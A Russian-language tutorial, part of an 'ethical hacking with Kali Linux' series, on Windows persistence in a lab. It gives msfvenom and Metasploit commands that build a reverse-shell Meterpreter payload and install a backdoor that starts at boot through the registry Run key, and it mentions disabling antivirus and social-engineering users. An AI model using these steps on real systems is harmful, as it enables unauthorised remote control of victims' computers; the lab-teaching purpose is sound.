Приветствую тебя, дорогой читатель, в седьмой части серии статей «Приручение черного дракона. Этичный хакинг с Kali Linux».
Полный список статей прилагается ниже, и будет дополняться по мере появления новых.
Приручение черного дракона. Этичный хакинг с Kali Linux:
Часть 1. Вводная часть. Подготовка рабочего стенда.
Часть 3. Footprinting. Разведка и сбор информации.
Часть 4. Сканирование и типы сканирования. Погружение в nmap.
Часть 5. Методы получения доступа к системе.
Часть 6. Пост-эксплуатация. Способы повышения привилегий.
Часть 7. Пост-эксплуатация. Закрепление в системе.
В прошлой статье мы начали знакомство с темой пост-эксплуатации скомпрометированной системы, а именно, с методами эскалации привилегий до суперпользователя в Unix-подобных системах. В этот раз мы поговорим о такой важной части пост-эксплуатации, как закрепление в скомпрометированной системе с возможностью обеспечения надежного повторного входа в нее даже после перезагрузки.
Представим, что нам удалось получить оболочку Meterpreter проэксплуатировав какую-то уязвимость в системе, либо ПО установленном в ней. В том случае, если не предпринять более никаких действий, то после перезагрузки целевой системы мы обнаружим, что наша сессия Meterpreter отвалилась. Вполне возможно, что перезагрузка была плановая и в системе установились какие-то обновления безопасности, которые закрыли старую брешь и наш эксплоит уже не представляет никакой угрозы для нее. Тогда можно применить социальную инженерию и подсунуть пользователю зараженный файл с полезной нагрузкой типа hidden_reverse_tcp, который после запуска и брандмауэр обойдет незаметно и в системе скроется так, что даже завершение процесса не даст нам потерять сессию. Но опять же, все это до ближайшей перезагрузки системы. И тут, естественно, если рассматривать ситуацию с точки зрения злоумышленника, первое, что он попытается сделать после успешного проникновения — закрепиться в системе, дабы не потерять к ней доступа ни при каких обстоятельствах.
В наборе фреймворка Metasploit имеется специальный модуль для подобных целей. Разумеется, уже давно существуют и более продвинутые техники, позволяющие не только надежно закрепиться в системе, но и скрывать свое присутствие в ней. Однако, задача данной серии статей научить тебя проводить тестирование на проникновение, с моделированием действий злоумышленника, так что акцентироваться на анонимности мы не будем. И так, рассмотрим пример, в котором мы установим на скомпрометированной системе под управлением MS Windows исполняемый файл с Meterpreter, который будет автоматически запускаться при каждой загрузке системы.
Запускаем машины с Kali и ОС Windows, которую установили в прошлой части. Если на машине есть антивирус, то отключаем его на момент скачивания и запуска файла содержащего полезную нагрузку.
В терминальном окне Kali запускаем msfvenom и генерируем пейлоад под windows сохраняя его в директорию веб сервера
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.11.153 lport=4444 -f exe > /var/www/html/runme.exe
Запускаем Apache сервер и переходим в машину на Windows. Скачиваем файл runme.exe с веб-сервера и запускаем его.
Далее запускаем в msfconsole exploit/multi/handler и настраиваем следующие параметры:
set LHOST 192.168.11.153
(адрес машины с Kali)set payload payload/windows/meterpreter/reverse_tcp
run
Мы получили удаленную сессию Meterpreter. Теперь, нам необходимо переключить нашу сессию в фоновый режим командой background и применить один из модулей для пост-эксплуации из арсенала MSF. Называется он post/windows/manage/persistence_exe.
Данный модуль загружает исполняемый файл на целевую машину и создает таким образом постоянный бэкдор. Он может быть установлен как пользователь (USER), система (SYSTEM) или служба (SERVICE). И так, находим нужный модуль в базе metasploit, применяем его и настраиваем необходимые параметры:
set REXEPATH /var/www/html/runme.exe
– указываем путь к исполняемому файлу с полезной нагрузкой;set SESSION 1
— указываем идентификатор открытой в фоне сессии;run
— запускаем модуль.
Давай теперь разберемся в том, что тут у нас происходит. После запуска модуля, он считывает полезную нагрузку с файла runme.exe расположенного в директории нашего веб-сервера. Далее, он запускает скрипт, который через существующую сессию записывает исполняемый файл default.exe (имя при желании можно поменять на что-то вроде win32sys.exe) в директорию C:\Users\Пользователь\AppData\Local\Temp\. После чего в реестр прописывается параметр добавляющий его в автозагрузку. Путь в реестре к нему следующий: HKEY_CURRENT_USER/software/microsoft/windows/currentversion/run/
Сразу же после выполнения скрипта модулем, мы получаем постоянный бэкдор к скомпрометированной системе. Запустим в MSF снова модуль handler и настроим его:
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.11.153
(IP адрес машины с Kali)
set lport 4444
run
Теперь самое время перезагрузить целевую машину и убедиться в том, что этот метод работает. Как видно на скрине, во время перезагрузки машины сессия meterpreter схлопывается. Тут мы потеряли сессию. Но после того, как система загрузилась, сессия возвращается.
Таким образом, злоумышленник может закрепиться в скомпрометированной системе. Так что, в случае чего, ты знаешь где искать в реестре подозрительные записи.) Напомню, что мы рассмотрели самый простой из способов создания постоянного доступа к машине под управлением ОС Windows, однако, и его вполне достаточно для того, чтобы показать принцип действия хакера во время пост-эксплуатации, и даже попытаться найти вручную нежелательные записи в реестре. На этом я прощаюсь с тобой, дорогой читатель, до новых встреч в следующих статьях серии «Приручение черного дракона. Этичный хакинг с Kali Linux».